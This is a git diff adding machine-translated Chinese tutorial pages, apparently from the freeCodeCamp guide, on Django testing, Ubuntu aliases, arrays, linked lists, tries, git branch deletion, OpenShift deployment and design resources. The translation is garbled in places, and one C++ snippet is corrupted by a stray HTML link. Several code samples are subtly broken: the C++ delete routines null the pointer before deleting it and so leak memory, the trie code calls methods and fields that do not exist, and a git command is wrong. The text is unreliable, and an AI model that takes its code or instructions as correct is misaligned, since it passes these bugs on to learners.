+ FAIL: test_home_title (functional_tests.test_all_users.NewVisitorTest) 
+ ---------------------------------------------------------------------- 
+ Traceback (most recent call last): 
+  File "/Users/username/url/to/project/taskplanner/functional_tests/test_all_users.py", line 15, in test_home_title 
+    self.assertIn('Welcome to Django', self.browser.title) 
+ AssertionError: 'Welcome to Django' not found in 'Problem loading page' 
+ 
+ ---------------------------------------------------------------------- 
+ Ran 1 test in 4.524s 
+ 
+ FAILED (failures=1) 
+```
+
+所以它失败了，但它给了我们一些方便的建议。首先是AssertionError。 “问题加载页面”中未找到“欢迎使用Django”。这意味着`http://localhost:8000`的标题是“问题加载页面”。如果您导航到该网址，您将看到该网页不可用。
+
+让我们尝试运行我们的Django服务器以通过测试。切换回`taskplanner`虚拟环境中的终端选项卡并运行我们的服务器。
+```
+python manage.py runserver 
+```
+
+您应该看到如下内容：
+```
+Performing system checks... 
+ 
+ System check identified no issues (0 silenced). 
+ 
+ You have unapplied migrations; your app may not work properly until they are applied. 
+ Run 'python manage.py migrate' to apply them. 
+ 
+ March 06, 2016 - 20:53:38 
+ Django version 1.9.4, using settings 'taskplanner.settings' 
+ Starting development server at http://127.0.0.1:8000/ 
+ Quit the server with CONTROL-C. 
+```
+
+不要担心未应用的迁移消息。
+
+现在我们在`http://localhost:8000`运行了一个服务器，让我们再次运行我们的测试。
+
+返回`taskplanner_test`虚拟环境中的另一个终端选项卡，再次运行以下命令：
+```
+python manage.py test functional_tests 
+```
+
+您应该看到以下内容。
+```
+Creating test database for alias 'default'... 
+ . 
+ ---------------------------------------------------------------------- 
+ Ran 1 test in 4.033s 
+ 
+ OK 
+ Destroying test database for alias 'default'... 
+```
+
+## 我们做了什么
+
+我们第一次通过测试！
+
+我们在本文中已经介绍了很多内容。我们创建了我们的第一个项目，为开发和测试目的设置虚拟环境，编写了我们的第一个功能测试，并通过编写失败的测试，然后使其通过，遵循测试驱动的开发过程。
+
+## 使用入门模板
+
+使用django入门模板启动项目，可以节省大量时间。这些项目使用最佳实践，以便在项目增长后节省您的麻烦。 一些比较受欢迎的项目是
+
+*   [18.11](https://github.com/pydanny/cookiecutter-django)
+*   [黑客马拉松首发](https://github.com/DrkSephy/django-hackathon-starter)
+*   [边缘](https://github.com/arocks/edge)
\ No newline at end of file
diff --git a/client/src/guide/chinese/miscellaneous/customizing-ubuntu/index.md b/client/src/guide/chinese/miscellaneous/customizing-ubuntu/index.md
new file mode 100644
index 0000000000..9cf915e54a
--- /dev/null
+++ b/client/src/guide/chinese/miscellaneous/customizing-ubuntu/index.md
@@ -0,0 +1,34 @@
+---
+title: Customizing Ubuntu
+localeTitle: 自定义Ubuntu
+---
+本教程向您展示如何向终端添加别名，调整统一性并删除预先安装的英国媒体报道软件。
+
+## 脚步：
+
+### 删除Bloatware
+
+要避免因隐私问题而删除所有预安装的英国媒体报道软件或保持操作系统最小化，请查看[此](https://gist.github.com/ansell/61313400e26cd42289f8)要点。
+
+### 别名
+
+您可以创建一个这样的临时别名：
+```
+alias alias_name="command_to_run" 
+```
+
+但是，当您关闭shell会话时，此别名将不再存在。
+
+要创建永久别名，您需要使用`touch ~/.bash_aliases`命令创建`~/.bash_aliases`文件。使用所选的文本编辑器打开此文件后，在文档底部添加一行，类似于上面的示例。
+
+要了解更多信息，DigitalOcean有一个很棒的教程，可以在[这里](https://www.digitalocean.com/community/tutorials/an-introduction-to-useful-bash-aliases-and-functions)找到。
+
+### Unity调整工具
+
+Unity Tweak Tool为用户提供了大量用于调整Unity桌面的配置选项。
+
+要安装Unity Tweak Tool类型`sudo apt install unity-tweak-tool` ，并启动它， `unity-tweak-tool` 。
+
+[这](http://www.techrepublic.com/blog/linux-and-open-source/six-must-have-ubuntu-unity-tweaks/)是六个必备Ubuntu Unity Tweaks的列表。
+
+[**下载并安装Ubuntu Desktop**](//forum.freecodecamp.com/t/download-and-install-ubuntu-desktop/18383) | [**目录**](//forum.freecodecamp.com/t/setting-up-ubuntu-for-programming/18388) | [**爵士乐终端**](//forum.freecodecamp.com/t/jazzing-up-the-terminal/18386)
\ No newline at end of file
diff --git a/client/src/guide/chinese/miscellaneous/data-structure-arrays/index.md b/client/src/guide/chinese/miscellaneous/data-structure-arrays/index.md
new file mode 100644
index 0000000000..51ca994f78
--- /dev/null
+++ b/client/src/guide/chinese/miscellaneous/data-structure-arrays/index.md
@@ -0,0 +1,90 @@
+---
+title: Data Structure Arrays
+localeTitle: 数据结构数组
+---
+在内部， `array`是一种数据结构，可以存储相同类型的固定大小的顺序元素集合。 `array`用于存储数据集合，但将`array`视为相同类型的变量集合通常更有用。
+
+`array`由连续的内存位置组成。最低地址对应于第一个元素，最高地址对应于最后一个元素。
+
+## C ++中的数组
+
+C ++提供了一个数据结构`array` ，它存储了相同数据类型的固定大小的顺序元素集合。 `array`用于存储数据集合，但最好将`array`视为相同类型的变量集合。
+
+#### `array`声明
+```
+int intarray<a href='https://repl.it/CWZE/3' target='_blank' rel='nofollow'>10]; // Declares an array of integer type of size 10 with elements having random values. Index ranges from 0 to 9(ie size-1). 
+ int intarray[10] = { 0 }; // Declares an array of integer of size 10 with all elements having value 0 
+ 
+ // Choose one the two declarations and then move ahead. 
+```
+
+#### 将元素插入`array` ：
+```
+intarray[0] = 1; // Inserts an integer value of 1 at index 0 
+ intarray[1] = 0; // Inserts an integer value of 0 at index 1 
+ intarray[2] = -1; // Inserts an integer value of -1 at index 2 
+ intarray[3] = 1; // Inserts an integer value of 1 at index 3 
+```
+
+#### 打印`array` ：
+```
+std::cout << intarray[0] << std::endl; // Returns 1 which is element at index of the array 
+ std::cout << intarray[11] << std::endl; // Would give aa "Garbage" value as there is no element at index 11 of array. 
+ // That memory location is beyond the range of the array. 
+ 
+ // To print all the elements of the array 
+ for(int i = 0; i < n; i++) 
+    std::cout << intarray[i] << std::endl; 
+```
+
+#### `array`基本操作：
+```
+std::cout << sizeof(intarray)/sizeof(intarray[0]) << std::endl; // Returns the length of the array ie 10. 
+ std::cout << sizeof(intarray[0]) << std::endl; // Returns length in bytes of one array item ie 4 as it is an integer 
+```
+
+：rocket：\[在Python中运行代码## Arrays Python没有本机`array`数据结构。 Python中的`array`不应与`list`混淆。 Python中`list`和`array`之间的主要区别在于`list`可以具有不同类型的值，而`array`应该具有相同类型的所有值。 #### `array`声明
+```
+from array import array 
+ intarray = array('i') # Declares an array of integer type 
+```
+
+#### 将元素插入`array` ：
+```
+intarray.append(1) # Inserts an integer value of 1 to the array 
+ intarray.append(0) # Inserts an integer value of 0 to the array 
+ intarray.append(-1) # Inserts an integer value of -1 to the array 
+ intarray.append(1) # Inserts an integer value of 1 to the array 
+ 
+ intarray.append('d') # Would give a TypeError as the array is of integer type. 
+ 
+ #Resolve the above error and then move ahead. 
+```
+
+#### 打印`array` ：
+```
+print(intarray) # Returns array('i', [1, 4, -1]) 
+ print(intarray[0]) # Returns 1 which is the element at index 0 of the array 
+ print(intarray[3]) # Would give IndexError as there is no element at index 3 of array. 
+ 
+ #Resolve the above error and then move ahead. 
+ 
+ # To print all the elements of the array 
+ for i in intarray: 
+    print(i) 
+```
+
+#### `array`基本操作：
+```
+len(intarray) # Returns the length of the array ie 3 
+ intarray.itemsize # Returns length in bytes of one array item ie 4 as it is an integer 
+ intarray.count(1) # Returns the number of occurrences of 1 in the array ie 2 
+ intarray.insert(1, 3) # Insert a new item with value x in the array before position i 
+ intarray.remove(1) # Remove the first occurrence of 1 from the array 
+ intarray.reverse() # Reverse the order of the items in the array 
+ intarray.pop(1) # Removes the item with the index 1 from the array and returns it 
+```
+
+![:rocket:](//forum.freecodecamp.com/images/emoji/emoji_one/rocket.png?v=2 "：火箭：") [运行代码](https://repl.it/CWJB)
+
+[官方文件](https://docs.python.org/3.5/library/array.html)
\ No newline at end of file
diff --git a/client/src/guide/chinese/miscellaneous/data-structure-linked-list/index.md b/client/src/guide/chinese/miscellaneous/data-structure-linked-list/index.md
new file mode 100644
index 0000000000..d1e337a14a
--- /dev/null
+++ b/client/src/guide/chinese/miscellaneous/data-structure-linked-list/index.md
@@ -0,0 +1,445 @@
+---
+title: Data Structure Linked List
+localeTitle: 数据结构链表
+---
+就像用花朵制作的花环一样，链表由节点组成。我们称这个特殊花环上的每朵花都是一个节点。并且每个节点指向该列表中的下一个节点以及它具有数据（这里是花的类型）。
+
+## 类型
+
+1.  单链表
+
+单链表包含具有`data`字段和`next`字段的节点，该字段指向序列中的下一个节点。可以在单链表上执行的操作是插入，删除和遍历。
+
+\`
+```
+Singly Link List 
+```
+
+* * *
+```
+   head 
+    | 
+    | 
+  +-----+--+      +-----+--+      +-----+------+ 
+  |  1  |o----->  |  2  |o----->  |  3  | NULL | 
+  +-----+--+      +-----+--+      +-----+------+ 
+```
+
+\`
+
+应用
+
+CPython的内部实现，框架和评估变量保存在堆栈中。
+
+为此我们需要迭代前向aur得到头部，因此单独使用链表。
+
+1.  双重链表
+
+双向链表包含具有`data`字段的节点， `next`字段和指向序列中前一节点的另一个链接字段`prev` 。
+
+\`
+
+双重链表
+
+* * *
+```
+          head 
+           | 
+           | 
+  +------+-----+--+    +--+-----+--+       +-----+------+ 
+  |      |     |o------>  |     |o------>  |     |      | 
+  | NULL |  1  |          |  2  |          |  3  | NULL | 
+  |      |     |  <------o|     |  <------o|     |      | 
+  +------+-----+--+    +--+-----+--+       +-----+------+ 
+```
+
+\`
+
+应用
+
+浏览器缓存，允许您点击BACK和FORWARD按钮。在这里，我们需要维护一个双向链表， `URLs`作为数据字段，以允许双向访问。要转到上一个URL，我们将使用`prev`字段，并转到下一页，我们将使用`next`字段。
+
+1.  循环链表
+
+循环链表是单链表，其中最后一个节点， `next`字段指向序列中的第一个节点。
+
+\`
+
+循环链表
+
+* * *
+```
+     head 
+      | 
+      | 
+    +-----+--+      +-----+--+      +-----+--+ 
+```
+
+\- > | 1 | o -----> | 2 | o -----> | 3 | o ----  
+| + ----- + - + + ----- + - + + ----- + - + |  
+| |
+
+* * *
+
+\`
+
+**应用**
+
+分时问题由操作系统解决。
+
+在分时环境中，操作系统必须维护当前用户的列表，并且必须允许每个用户一次使用一小部分CPU时间，一个用户。操作系统将选择一个用户，让他/她使用少量的CPU时间，然后转到下一个用户。
+
+对于这个应用程序，应该没有NULL指针，除非绝对没有人请求CPU时间，即列表为空。
+
+## 基本操作
+
+1.  插入
+
+要向列表中添加新元素。
+
+\`
+
+插入开头
+
+* * *
+
+*   使用给定数据创建新节点。
+*   将新节点指向旧`head` `next` 。
+*   点`head`到这个新的节点。
+
+插入中间/结尾
+
+* * *
+
+在节点X之后插入。
+
+*   使用给定数据创建新节点。
+*   指向新节点的`next`老X的`next` 。
+*   点X在此新节点`next` 。  
+    \`
+
+**时间复杂度：O（1）**
+
+1.  删除
+
+从列表中删除现有元素。
+
+\`
+
+删除开头
+
+* * *
+
+*   获取`head`指向的节点为Temp。
+*   点`head`到温度的`next` 。
+*   Temp节点使用的可用内存。
+
+在中间/结尾删除
+
+* * *
+
+节点X后删除。
+
+*   获取`X`指向的节点为Temp。
+*   点X `next`着Temp的`next` 。
+*   Temp节点使用的可用内存。  
+    \`
+
+**时间复杂度：O（1）**
+
+1.  遍历
+
+穿越列表。
+
+\`
+
+穿越
+
+* * *
+
+*   获取`head`指向的节点为Current。
+*   检查Current是否为空并显示它。
+*   点电流为当前的`next` ，并移动到上面的步骤。  
+    \`
+
+**时间复杂度：O（n）//这里n是链接列表的大小**
+
+## 履行
+
+### 单链表的C ++实现
+```
+// Header files 
+ #include <iostream> 
+ 
+ struct node 
+ { 
+    int data; 
+    struct node *next; 
+ }; 
+ 
+ // Head pointer always points to first element of the linked list 
+ struct node *head = NULL; 
+```
+
+#### 在每个节点中打印数据
+```
+// Display the list 
+ void printList() 
+ { 
+    struct node *ptr = head; 
+ 
+    // Start from the beginning 
+ while(ptr != NULL) 
+ { 
+    std::cout << ptr->data << " "; 
+    ptr = ptr->next; 
+ } 
+ 
+ std::cout << std::endl; 
+ } 
+```
+
+#### 插入开头
+```
+// Insert link at the beginning 
+ void insertFirst(int data) 
+ { 
+    // Create a new node 
+    struct node *new_node = new struct node; 
+ 
+    new_node->data = data; 
+ 
+ // Point it to old head 
+ new_node->next = head; 
+ 
+ // Point head to new node 
+ head = new_node; 
+ 
+ std::cout << "Inserted successfully" << std::endl; 
+ } 
+```
+
+#### 删除开头
+```
+// Delete first item 
+ void deleteFirst() 
+ { 
+    // Save reference to head 
+    struct node *temp = head; 
+ 
+    // Point head to head's next 
+ head = head->next; 
+ 
+ // Free memory used by temp 
+ temp = NULL: 
+ delete temp; 
+ 
+ std::cout << "Deleted successfully" << std::endl; 
+ } 
+```
+
+#### 尺寸
+```
+// Find no. of nodes in link list 
+ void size() 
+ { 
+    int length = 0; 
+    struct node *current; 
+ 
+    for(current = head; current != NULL; current = current->next) 
+ { 
+    length++; 
+ } 
+ 
+ std::cout << "Size of Linked List is " << length << std::endl; 
+ } 
+```
+
+#### 搜索
+```
+// Find node with given data 
+ void find(int data){ 
+ 
+    // Start from the head 
+ struct node* current = head; 
+ 
+ // If list is empty 
+ if(head == NULL) 
+ { 
+    std::cout << "List is empty" << std::endl; 
+    return; 
+ } 
+ 
+ // Traverse through list 
+ while(current->data != data){ 
+ 
+    // If it is last node 
+    if(current->next == NULL){ 
+        std::cout << "Not Found" << std::endl; 
+        return; 
+    } 
+    else{ 
+        // Go to next node 
+        current = current->next; 
+    } 
+ } 
+ 
+ // If data found 
+ std::cout << "Found" << std::endl; 
+ } 
+```
+
+#### 节点后删除
+```
+// Delete a node with given data 
+ void del(int data){ 
+ 
+    // Start from the first node 
+ struct node* current = head; 
+ struct node* previous = NULL; 
+ 
+ // If list is empty 
+ if(head == NULL){ 
+    std::cout << "List is empty" << std::endl; 
+    return ; 
+ } 
+ 
+ // Navigate through list 
+ while(current->data != data){ 
+ 
+    // If it is last node 
+    if(current->next == NULL){ 
+        std::cout << "Element not found" << std::endl; 
+        return ; 
+    } 
+    else { 
+        // Store reference to current node 
+        previous = current; 
+        // Move to next node 
+        current = current->next; 
+    } 
+ 
+ } 
+ 
+ // Found a match, update the node 
+ if(current == head) { 
+    // Change head to point to next node 
+    head = head->next; 
+ } 
+ else { 
+    // Skip the current node 
+    previous->next = current->next; 
+ } 
+ 
+ // Free space used by deleted node 
+ current = NULL; 
+ delete current; 
+ std::cout << "Deleted succesfully" << std::endl; 
+ } 
+```
+
+![:rocket:](https://forum.freecodecamp.com/images/emoji/emoji_one/rocket.png?v=3 "：火箭：") [运行代码](https://repl.it/CXVt/1)
+
+### 单链表的Python实现
+```
+class Node(object): 
+    # Constructor 
+    def __init__(self, data=None, next=None): 
+        self.data = data 
+        self.next = next 
+ 
+    # Function to get data 
+ def get_data(self): 
+    return self.data 
+ 
+ # Function to get next node 
+ def get_next(self): 
+    return self.next 
+ 
+ # Function to set next field 
+ def set_next(self, new_next): 
+    self.next = new_next 
+ class LinkedList(object): 
+    def __init__(self, head=None): 
+        self.head = head 
+```
+
+#### 插入
+```
+    # Function to insert data 
+ def insert(self, data): 
+    # new_node is a object of class Node 
+    new_node = Node(data) 
+    new_node.set_next(self.head) 
+    self.head = new_node 
+    print("Node with data " + str(data) + " is created succesfully") 
+```
+
+#### 尺寸
+```
+    # Function to get size 
+ def size(self): 
+    current = self.head 
+    count = 0 
+    while current: 
+        count += 1 
+        current = current.get_next() 
+    print("Size of link list is " + str(count)) 
+```
+
+#### 搜索
+```
+    # Function to search a data 
+ def search(self, data): 
+    current = self.head 
+    found = False 
+    while current and found is False: 
+        if current.get_data() == data: 
+            found = True 
+        else: 
+            current = current.get_next() 
+    if current is None: 
+        print("Node with data " + str(data) + " is not present") 
+    else: 
+        print("Node with data " + str(data) + " is found") 
+```
+
+#### 节点后删除
+```
+    # Function to delete a node with data 
+ def delete(self, data): 
+    current = self.head 
+    previous = None 
+    found = False 
+    while current and found is False: 
+        if current.get_data() == data: 
+            found = True 
+        else: 
+            previous = current 
+            current = current.get_next() 
+    if current is None: 
+        print("Node with data " + str(data) + " is not in list") 
+    elif previous is None: 
+        self.head = current.get_next() 
+        print("Node with data " + str(data) + " is deleted successfully") 
+    else: 
+        previous.set_next(current.get_next()) 
+        print("Node with data " + str(data) + " is deleted successfully") 
+```
+
+![:rocket:](//forum.freecodecamp.com/images/emoji/emoji_one/rocket.png?v=2 "：火箭：") [运行代码](https://repl.it/CVq3/2)
+
+**好处**
+
+1.  链表是一种动态数据结构，可以在程序运行时增长和收缩，分配和释放内存。
+2.  节点的插入和删除很容易在任何位置的链表中实现。
+
+**缺点**
+
+1.  由于指针使用的内存（ `next`和`prev` ），它们使用的内存比数组多。
+2.  链表中无法随机访问。我们必须按顺序访问节点。
+3.  它比数组更复杂。如果一种语言自动支持数组绑定检查，Arrays会更好地为您服务。
+
+#### 注意
+
+我们必须在C中使用free（）并在C ++中删除以释放已删除节点使用的空间，而在Python和Java中，可用垃圾收集器自动收集空间。
\ No newline at end of file
diff --git a/client/src/guide/chinese/miscellaneous/data-structure-trie/index.md b/client/src/guide/chinese/miscellaneous/data-structure-trie/index.md
new file mode 100644
index 0000000000..ce26b71b9b
--- /dev/null
+++ b/client/src/guide/chinese/miscellaneous/data-structure-trie/index.md
@@ -0,0 +1,125 @@
+---
+title: Data Structure Trie
+localeTitle: 数据结构Trie
+---
+## 特里简介
+
+单词trie是单词“re **trie** val”的缩写，因为trie可以在字典中找到只有单词前缀的单个单词。  
+Trie是一种高效的数据检索数据结构，使用trie，搜索复杂度可以达到最佳极限，即字符串的长度。  
+当我们存储字符串时，它是一种用于在字母表上存储字符串的多路树结构。  
+它已被用来存储大型英语词典，比如拼写检查程序中的单词。  
+但是，尝试的惩罚是存储要求。
+
+## 什么是特里？
+
+trie是一种树状数据结构，它存储字符串，并帮助您使用字符串的前缀查找与该字符串关联的数据。  
+例如，假设您计划构建字典以存储字符串及其含义。您一定想知道为什么我不能简单地使用哈希表来获取信息。  
+是的，您显然可以使用哈希表获取信息，但是， 哈希表只能找到字符串与我们添加的字符串完全匹配的数据。但是，与哈希表相比，trie将使我们能够在更短的时间内找到具有公共前缀，缺少字符等的字符串。  
+通常，特里看起来像这样，
+
+![特里](//discourse-user-assets.s3.amazonaws.com/original/2X/c/c43e222a6f9152512d73f97b8117db5c074bbc8e.png)
+
+这是一个Trie的图像，它存储了单词{assoc，algo，all，also，tree，trie}。
+
+## 如何实现trie？
+
+让我们在python中实现一个trie，用于存储带有英语词典含义的单词。
+```
+ALPHABET_SIZE = 26 # For English 
+ 
+ class TrieNode: 
+    def __init__(self): 
+        self.edges = [None]*(ALPHABET_SIZE) # Each index respective to each character. 
+        self.meaning = None # Meaning of the word. 
+        self.ends_here = False # Tells us if the word ends here. 
+```
+
+如您所见，边长为26，每个索引指的是字母表中的每个字符。 'A'对应0，'B'对应1，'C'对2 ......'Z'对应第25个索引。如果您要查找的字符指向`None` ，则表示该字符不在trie中。
+
+典型的Trie应该至少实现这两个功能：
+
+*   `add_word(word,meaning)`
+*   `search_word(word)`
+*   `delete_word(word)`
+
+此外，还可以添加类似的东西
+
+*   `get_all_words()`
+*   `get_all_words_with_prefix(prefix)`
+
+#### 将Word添加到trie
+```
+    def add_word(self,word,meaning): 
+        if len(word)==0: 
+            self.ends_here = True # Because we have reached the end of the word 
+            self.meaning = meaning # Adding the meaning to that node 
+            return 
+        ch = word[0] # First character 
+        # ASCII value of the first character (minus) the ASCII value of 'a'-> the first character of our ALPHABET gives us the index of the edge we have to look up. 
+        index = ord(ch) - ord('a') 
+        if self.edges[index] == None: 
+            # This implies that there's no prefix with this character yet. 
+            new_node = TrieNode() 
+            self.edges[index] = new_node 
+ 
+        self.edges[index].add(word[1:],meaning) #Adding the remaining word 
+```
+
+#### 检索数据
+```
+    def search_word(self,word): 
+        if len(word)==0: 
+            if self.ends_here: 
+                return True 
+            else: 
+                return "Word doesn't exist in the Trie" 
+        ch = word[0] 
+        index = ord(ch)-ord('a') 
+        if self.edge[index]== None: 
+            return False 
+        else: 
+            return self.edge[index].search_word(word[1:]) 
+```
+
+`search_word`函数将告诉我们Trie中是否存在该单词。由于我们的是字典，我们也需要获取含义，现在让我们声明一个函数来做到这一点。
+```
+    def get_meaning(self,word): 
+        if len(word)==0 : 
+            if self.ends_here: 
+                return self.meaning 
+            else: 
+                return "Word doesn't exist in the Trie" 
+        ch = word[0] 
+        index = ord(ch) - ord('a') 
+        if self.edges[index] == None: 
+            return "Word doesn't exist in the Trie" 
+        else: 
+            return self.edges[index].get_meaning(word[1:]) 
+```
+
+#### 删除数据
+
+通过删除数据，您只需将变量`ends_here`更改为`False` 。这样做不会改变前缀，但是仍然会删除trie中单词的含义和存在。
+```
+    def delete_word(self,word): 
+        if len(word)==0: 
+            if self.ends_here: 
+                self.ends_here = False 
+                self.meaning = None 
+                return "Deleted" 
+            else: 
+                return "Word doesn't exist in the Trie" 
+        ch = word[0] 
+        index = ord(ch) - ord('a') 
+        if self.edges[index] == None: 
+            return "Word doesn't exist in the Trie" 
+        else: 
+            return self.edges[index].delete_word(word[1:]) 
+```
+
+![:rocket:](//forum.freecodecamp.com/images/emoji/emoji_one/rocket.png?v=2 "：火箭：") [运行代码](https://repl.it/CWbr)
+
+## 资源
+
+*   如需进一步阅读，您可以试试这个[topcoder](https://www.topcoder.com/community/data-science/data-science-tutorials/using-tries/)教程。
+*   另外， [geeksforgeeks](http://www.geeksforgeeks.org/trie-insert-and-search/)的教程
\ No newline at end of file
diff --git a/client/src/guide/chinese/miscellaneous/delete-a-git-branch-both-locally-and-remotely/index.md b/client/src/guide/chinese/miscellaneous/delete-a-git-branch-both-locally-and-remotely/index.md
new file mode 100644
index 0000000000..276e49355a
--- /dev/null
+++ b/client/src/guide/chinese/miscellaneous/delete-a-git-branch-both-locally-and-remotely/index.md
@@ -0,0 +1,66 @@
+---
+title: Delete a Git Branch Both Locally and Remotely
+localeTitle: 本地和远程删除Git分支
+---
+//本地（（如果你知道你在做什么！） git branch -d localBranchName
+```
+// and then if you need to... 
+ // on remote 
+ git push origin :remoteBranchName 
+```
+
+## 何时删除分支？
+
+通常在贡献流中， `Branches`是处理不同功能，修复等的好方法，同时将它们与主代码库隔离开来。因此，回购可能有一个`master`分支，并且可以使用不同的分支来处理不同的功能。
+
+通常，在功能上完成工作后，建议删除分支。
+
+## 删除工作流程：
+
+假设您有一个名为`AwesomeRepo` ，它在Github上托管，位于`https://github.com/my_username/AwesomeRepo` 。
+
+还假设它具有如下分支：  
+`master`  
+`feature/some-cool-new-stuff`  
+`fix/authentication`  
+`staging`
+
+为了保持一致性，我们假设分支名称在`local`和`remote`上都是相同的。
+
+现在，假设您已完成该身份验证修复，并希望删除分支`fix/authentication` 。
+
+## 删除分支REMOTELY：
+
+简单地说：
+
+`git push --delete <remote> <branch>` 。
+
+例如： `git branch --delete origin fix/authentication`
+
+如果你收到错误
+```
+error: unable to push to unqualified destination: remoteBranchName The destination refspec neither matches an existing ref on the remote nor begins with refs/, and we are unable to guess a prefix based on the source ref. error: failed to push some refs to 'git@repository_name' 
+```
+
+也许其他人已经删除了分支。尝试使用同步您的分支列表
+```
+git fetch -p 
+```
+
+git手册说-p， - prune取出后，删除遥控器上不再存在的任何远程跟踪分支。
+
+## 删除分支LOCALLY：
+
+首先结帐到您要删除的分支的其他分支：
+
+`git checkout <branch>` 。
+
+例如： `git checkout master`
+
+Git不会让你删除你当前所在的分支。
+
+然后继续删除：
+
+`git branch -D <branch>` 。
+
+例如： `git branch -D fix/authentication`
\ No newline at end of file
diff --git a/client/src/guide/chinese/miscellaneous/deploying-to-openshift/index.md b/client/src/guide/chinese/miscellaneous/deploying-to-openshift/index.md
new file mode 100644
index 0000000000..79e1f17af7
--- /dev/null
+++ b/client/src/guide/chinese/miscellaneous/deploying-to-openshift/index.md
@@ -0,0 +1,67 @@
+---
+title: Deploying to Openshift
+localeTitle: 部署到Openshift
+---
+如果您将应用程序部署到Heroku，则只能上传5个应用程序，如果要部署新应用程序，则需要使用信用卡验证帐户。
+
+![Heroku错误](//discourse-user-assets.s3.amazonaws.com/original/2X/2/27219029fea50142009b1521d5268c06ded15b57.jpg)
+
+以下是部署到[OpenShift时](https://www.openshift.com/app/account/new)需要遵循的步骤。
+
+## 要求
+
+*   [OpenShift中的](https://www.openshift.com/app/account/new)一个帐户
+*   我们在[Git](//forum.freecodecamp.com/t/wiki-git-resources/13136)存储库中的应用程序
+
+## 代码中的更改
+
+*   `app.listen` with `process.env.OPENSHIFT_NODEJS_PORT`和`process.env.OPENSHIFT_NODEJS_IP` ，两者都需要。
+*   在你的**package.json中**设置你的`"main": 'yourMainFile.js`和`"script": { "start": "node yourMainFile.js" }`
+
+## 部署我们的应用程序
+
+*   [添加新应用程序](https://openshift.redhat.com/app/console/application_types)
+
+![选择一个Web编程盒](//discourse-user-assets.s3.amazonaws.com/original/2X/e/e07c056ab351ee6bd728b8d5f648b3fac9c6bf86.jpg)
+
+*   选择一个名称（所有应用程序的第二个输入都相同）
+
+\[ ![填写我们的名字和我们的域名](//discourse-user-assets.s3.amazonaws.com/original/2X/9/9e929388f653ca9725e4dc2ca823f06cee493bc2.jpg)
+
+*   填写我们的Git URL和我们的分支名称
+
+![您可以在Github找到您的Git URL和分支名称](//discourse-user-assets.s3.amazonaws.com/original/2X/1/1a720934d9c2fd79a4aaa14b4ca07e6c1df7f2ce.jpg)
+
+![填写您的Git URL和您的分支名称](//discourse-user-assets.s3.amazonaws.com/original/2X/9/989e44c1af80c9b8f26883a3d897f377b3a27ca4.jpg)
+
+*   “创建应用程序”。这需要一些时间
+
+![完成部署后，您将在此处重定向](//discourse-user-assets.s3.amazonaws.com/original/2X/f/f0de3f67ec78b75df6786301560a903f76aec022.jpg)
+
+*   输入“应用程序”，然后进入您的应用程序并检查它是否已启动。
+
+![你的申请表](//discourse-user-assets.s3.amazonaws.com/original/2X/d/d71ea954dd23eb341243bf568a3d67b682590274.jpg)
+
+![您的申请详情](//discourse-user-assets.s3.amazonaws.com/original/2X/4/497bacfd85fd2c8e815413df1e942a1a42f045f0.jpg)
+
+## 环境变量
+
+在我的情况下，我在mLab中有我的数据库，所以我需要创建一些环境变量。
+
+*   [安装Ruby和rhc。](https://developers.openshift.com/getting-started/windows.html#client-tools)
+
+**rhc**仅适用于Ruby的1.9.3和2.0.0版本。
+
+*   [设置你的机器](https://developers.openshift.com/getting-started/windows.html#rhc-setup)
+
+如果您在设置`rhc`遇到问题，请在StackOverflow上尝试[此](http://stackoverflow.com/questions/28896733/rhc-setup-gives-error-no-such-file-dl-import)答案。
+
+*   [自定义环境变量](https://developers.openshift.com/managing-your-applications/environment-variables.html#custom-variables)
+
+`rhc env set VARIABLE=value VARIABLE2=value2 -a App_Name` 。
+
+您需要重新启动应用程序才能加载变量。
+
+如果您找到更好的方法来解决此限制。请随时为我们的Wiki做出贡献并与我们分享。
+
+您可以查看[http://voting-pitazo.rhcloud.com/#/polls上](http://voting-pitazo.rhcloud.com/#/polls)运行的应用
\ No newline at end of file
diff --git a/client/src/guide/chinese/miscellaneous/design-resources-for-front-end-developers/index.md b/client/src/guide/chinese/miscellaneous/design-resources-for-front-end-developers/index.md
new file mode 100644
index 0000000000..f1a08612cb
--- /dev/null
+++ b/client/src/guide/chinese/miscellaneous/design-resources-for-front-end-developers/index.md
@@ -0,0 +1,65 @@
+---
+title: Design Resources for Front End Developers
+localeTitle: 前端开发人员的设计资源
+---
+您是自由职业前端Web开发人员还是您想成为一名？也许你已经去过编码训练营或从在线前端开发课程毕业。接下来发生什么？
+
+你得到了第一个客户。它可能只是一个需要个人网站的朋友。没关系。你不希望它看起来像业余。你希望它看起来不错。你希望它看起来很专业。
+
+这是事情......
+
+好的设计可能意味着看起来“自制”的网站和看起来很专业的网站之间的区别。如果你想在自由网页开发中赚钱，你就不能制作那些没有展示出良好设计原则的网站。大多数人（即潜在客户）都知道好的设计是什么样的，即使他们不能告诉你它为什么是好的设计。因此，理解基本设计概念是值得的。事实上，我甚至可以说，如果你将成为一名自由职业前端开发人员，那将是绝对必要的。
+
+那你会从哪里开始？你去哪里学习设计？幸运的是，您不需要花钱来学习设计的基础知识。有很多资源是100％免费的。这里有10个资源（大多数是免费的）可以帮助您成为更好的自由职业前端开发人员，因为它们将帮助您成为更好的设计师。玩的开心！
+
+## 1\. [Hackdesign.org](https://hackdesign.org)
+
+让我们从基础开始。如果您想要制作具有吸引力，专业外观的前端作品，您绝对需要学习设计的基础知识。让我再说一次。您需要学习设计的基础知识。是的，这很重要。相信我。它将帮助您从所有不学习它的自由职业前端开发人员中脱颖而出，这意味着您将获得更多工作。更多工作意味着更多钱。明白了吗？这一点很重要。
+
+从头到尾完成Hackdesign的课程，让它们全部融入。如果你想要，你可以注册每周课程发送到你的电子邮件地址。但是，您不需要这样做。您只需点击“查看所有课程”即可开始学习。这是相当深入的。这不是你几个小时后要做的事情。在这个资源上花一些时间。
+
+## 2\. [为黑客设计](http://designforhackers.com)
+
+大卫·卡德维（David Kadavy）写这本书的原因在这句话中得到了很好的总结：
+
+> “我们可以创建带有动画的传单，明信片和PowerPoint演示文稿。我们可以制作博客，海报，甚至是咖啡杯......但我们中很少有人具备设计知识。”
+
+同样的事情是创建网站。仅仅因为你可以创建一个有效的网站并不意味着你可以创建一个美观，设计精良的网站。这并不意味着您可以创建一个看起来很专业的网站。我相信你知道我的意思。好的设计看起来很专业期。所以，请阅读本书。 Kadavy还在designforhackers.com设有一个网站，您可以在其中注册一个名为“Design Pitfalls”的电子邮件课程。
+
+## 3\. [UX崩溃课程：31个基础知识](http://thehipperelement.com/post/75476711614/ux-crash-course-31-fundamentals)
+
